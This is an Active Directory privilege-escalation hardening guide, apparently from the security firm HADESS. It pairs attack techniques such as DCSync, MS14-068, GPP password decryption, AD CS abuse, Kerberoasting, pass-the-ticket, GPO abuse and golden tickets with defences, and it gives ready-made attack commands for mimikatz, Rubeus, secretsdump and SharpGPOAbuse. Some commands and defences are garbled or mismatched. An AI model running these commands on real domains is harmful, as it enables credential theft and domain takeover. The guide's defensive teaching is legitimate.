ACTIVE DIRECTORY PRIVILEGE ESCALATION HARDENING

WWW.HADESS.IO

CONTENTS

WHY AD IS IMPORTANT

"ACTIVE DIRECTORY IS CENTRAL TO ALL OF THE STEPS OF THE CYBER KILL CHAIN. TO PERPETUATE AN ATTACK, ATTACKERS NEED TO STEAL CREDENTIALS OR COMPROMISE AN ACCOUNT WITH MALWARE, THEN ESCALATE PRIVILEGES SO THEY HAVE ACCESS TO ALL OF THE RESOURCES THEY NEED."

PRIVILEGE ESCALATION IN AD

For any inquiries, please contact security@hadess.io

DEFAULT SECURITY GROUP	WINDOWS SERVER 2016	WINDOWS SERVER 2012 R2	WINDOWS SERVER 2012	WINDOWS SERVER 2008 R2
ACCOUNT OPERATORS	YES	YES	YES	YES
ADMINISTRATORS	YES	YES	YES	YES
BACKUP OPERATORS	YES	YES	YES	YES
CERTIFICATE SERVICE DCOM ACCESS	YES	YES	YES	YES
DOMAIN ADMINS	YES	YES	YES	YES
DOMAIN CONTROLLERS	YES	YES	YES	YES
ENTERPRISE ADMINS	YES	YES	YES	YES
ENTERPRISE KEY ADMINS	YES	NO	NO	NO
TERMINAL SERVER LICENSE SERVERS	YES	YES	YES	YES

Credential Stealer

Leverage stolen credentials to connect to servers to gather more credentials. Servers running applications such as Microsoft Exchange Client Access Servers (CAS), Microsoft Exchange OWA, Microsoft SQL, and Terminal Services (RDP) tend to have lots of credentials in memory from recently authenticated users (or services that likely have Domain Admin rights).

Attacks:

1. ./dumpcreds

Defence:

- Do Not Login with Credential Directly into other systems

Public Pwn

For example exploiting MS14-068 takes less than 5 minutes and enables an attacker to effectively re-write a valid Kerberos TGT authentication ticket to make them a Domain Admin (and Enterprise Admin). As shown in the above graphic, this is like taking a valid boarding password and before boarding, writing “pilot” on it. Then while boarding the plane, you are escorted to the cockpit and asked if you would like coffee before taking off.

Attacks:

1. ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>

Defence:

- Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
- Also, implement an automated process that ensures approved critical patches are automatically applied if the system falls out of compliance.

Leaked in kitchen

This method is the simplest since no special “hacking” tool is required. All the attacker has to do is open up Windows explorer and search the domain SYSVOL DFS share for XML files. Most of the time, the following XML files will contain credentials: groups.xml, scheduledtasks.xml, & Services.xml.

Attacks:

1. \Get-GPPPassword.ps1
2. .\Get-Decryptedpassword 'cpassword'

Defence:

- Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
- Delete existing GPP xml files in SYSVOL containing passwords.
- Don’t put passwords in files that are accessible by all authenticated users.

DCSync

A DCSync attack uses commands in Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to pretend to be a domain controller (DC) in order to get user credentials from another DC.
DCSync requires a compromised user account with domain replication privileges. Once that is established, one can find a domain controller, tell it to replicate, and get password hashes from its subsequent response.
DCSync is a capability of the Mimikatz tool.

Attacks:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
or
secretsdump.py -just-dc <user>:<password>@<ipaddress>

Defence:
To make DCSync attacks more difficult, be sure to carefully control the following privileges in AD:

-
- Replicating Directory Changes
- Replicating Directory Changes All
- Replicating Directory Changes In Filtered Set

AD CS Abuse

When an authentication-based certificate is issued to an identity, the certificate can be used to authenticate as the identity set in the Subject Alternative Name (SAN); this is usually a UPN or DNS name. The certificate is then used in lieu of a password for initial authentication.
Once an authenticated-based certificate has been issued, it can be used to authenticate as the subject until it is revoked or expired. This will circumvent incident response plans that rely on strategies like resetting the user's password to kick out an attacker; the attacker can have persistent access to the account unless the certificates are also revoked.

Attacks:

1, .\PSPKIAudit.psm1

2. Certify.exe find [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

3. Rubeus.exe asktgt /user:X /certificate:C:\Temp\cert.pfx /password:<CERT_PASSWORD>

Defence:

As the defenses for these attacks are multi-pronged, at this point we're recommending defenders study the attacks, read the extensive "Defensive Guidance" section of the whitepaper, and reference Microsoft's Securing PKI documentation. Defenders can also try out the PSPKIAudit's **Invoke-PKIAudit** function the misconfigurations.

LLMNR Poisoning

LLMNR Poisoning or Link-Local Multicast Name Resolution Poisoning is a very commonly used attack when it comes to running a penetration test against a local network. LLMNR and NBT-NS (NetBIOS Name Service) attacks go hand-in-hand as they can be performed by the same tool. The Link-Local Multicast Name Resolution protocol itself is based on DNS and allows hosts to resolve other hostnames on the same local link.

Attacks:

1.nmap -Pn -n -p 139,445 --script smb-enum-shares.nse 10.10.10.10
2.responder
3.smbclient //10.10.10.10/share

Defence:

LLMNR can be turned-o through the group policy editor, under the "policy setting" menu under Local Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client.

AS-REP Roast

AS-REP Roasting is an attack against Kerberos for user accounts that do not require preauthentication. Pre-authentication is the first step in Kerberos authentication, and is designed to prevent brute-force password guessing attacks

Attacks:

1.Rebeus.exe asreproast

2.John

Defence:

The obvious protections from this type of attack are to find and remove any instances of user accounts that are set to not require Kerberos preauthentication.

ForceChangePassword

If we have ExtendedRight on User-Force-Change-Password object type, we can reset the user’s password without knowing their current password

Attacks:

1.. . \PowerView.ps1

2.Set-DomainUserPassword -Identity User -Verbose

Defence:

It is recommended to do regular audits to check the delegations and group permissions in nested groups.

GenericWrite

If you have GenericWrite privileges on a Computer object, you can pull Kerberos Resourcebased Constrained Delegation: Computer Object Take Over o .

Attacks:

```
$pass = ConvertTo-SecureString 'Password123#' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('DOMAIN\MASTER
USER'), $pass)
Set-DomainObject -Credential $creds USER1 -Clear
serviceprincipalname
Set-DomainObject -Credential $creds -Identity USER1 -SET
@{serviceprincipalname='none/fluu'}
.\Rubeus.exe kerberoast /domain:<DOMAIN>
```

Defence:

Remove RC4 encryption via group policy. Apply this to both Domain Controllers, member servers, and Windows 10 Clients.

Password Spraying

Able to get access to the internal network host using the credentials

Attacks:

1.crackmapexec winrm ips -u users -p pass

Defence:

Disable unwanted authentication services like WinRM and also restrict unauthorized remote desktop connection with the private instances

RunForPrivilegeEsc.exe

There was a uncommon executable running as SYSTEM on the machine which was then reversed and analysed and manipulated for our benefits

Attacks:

1.dnSpy

Defence:

Avoid using unsecurely coded applications with high privileges

Pass the Ticket Attack

Pass-the-Ticket attacks take aim at Kerberos much in the same way as Golden Ticket and Silver Ticket attacks, both of which exploit unfixable weaknesses in the authentication protocol.

Attacks:

1..\Rubeus.exe asktgt /user:<USET>$ /rc4:<NTLM HASH> /ptt 2.klist

Defence:

Upon detecting a Pass-the-Ticket attack, your response depends on the level of access the attack provided. If the compromised account from which the TGT or service ticket was stolen was a low privilege account with limited or no permissions outside of the compromised system, mitigation could be as simple as resetting the user’s Active Directory password. That would invalidate the stolen TGT or service tickets and prevent the attacker from generating new tickets using the stolen password hash.

Abusing Vulnerable GPO

Group Policies are part of every Active Directory. GP is designed to be able to change every system's configurations, from list to most privileged layer. Since it is so fundamental in the network management process, it is also very powerful for attackers to use as an attack vector

Attacks:

1.. \SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" --Author DOMAIN \<USER> --Command "cmd.exe" --Arguments "/c net user Administrator Password!@# /domain" --GPOName "ADDITIONAL DC CONFIGURATION"

Defence:

Attackers use mapping network mapping techniques as the first step of their attack, but this same technique can be also used for mitigation. You must know and reassess who has access to your GPOs. Using free tools, such as BloodHound, can help you understand who has access to a GPO and who inherits and access. It will help you spot potential lateral movement paths and reevaluate if your current state is answering a "list privileges" method

Abusing MSSQL Service Database

MS SQL Server is widely used in enterprise networks. Due to its use by third party applications, support for legacy applications and use as a database, SQL Server is a treasure trove for attackers. It gets integrated with in an active directory environment very well, which makes it an attractive target for abuse of features and privileges.

Attacks:

1.PowerUPSQL.ps1

2.Get-SQLInstanceLocal -Verbose

3.(Get-SQLServerLinkCrawl -Verbose -Instance "10.10.10.20" -Query 'select * from master..sysservers').customquery Import-Module .\powercat.ps1 powercat -l -v -p 443 -t 10000

Defence:

You can use the TRUSTWORTHY database setting to indicate whether the instance of Microso SQL Server trusts the database and the contents within the database. By default, this setting is set to OFF. However, you can set it to ON by using the ALTER DATABASE statement. I recommend that you leave this setting set to OFF to mitigate certain threats that may be present when a database is attached to the server

Abusing Domain Trusts

At a high level, a domain trust establishes the ability for users in one domain to authenticate to resources or act as a security principal in another domain, a trust does is link up the authentication systems of two domains and allows authentication traffic to flow between them through a system of referrals. If a user requests access to a service principal name (SPN) of a resource that resides outside of the domain they're current in, their domain controller will return a special referral ticket that points to the key distribution center (KDC, in the Windows case the domain controller) of the foreign domain.

Attacks:

1.mimikatz # lsadump::dcsync /user:<USER> 2.mimikatz # kerberos::golden /user:<USER> /domain:</DOMAIN> /sid:<OBJECT SECURITY ID> /rce:<NTLM HASH> /id:<USER ID>

Defence:

Remove local admin rights from low privileged users in the domain, disable winrm service if not required and if the service is necessary, lock down critical enclaves with separate WinRM accounts and permissions

HADESS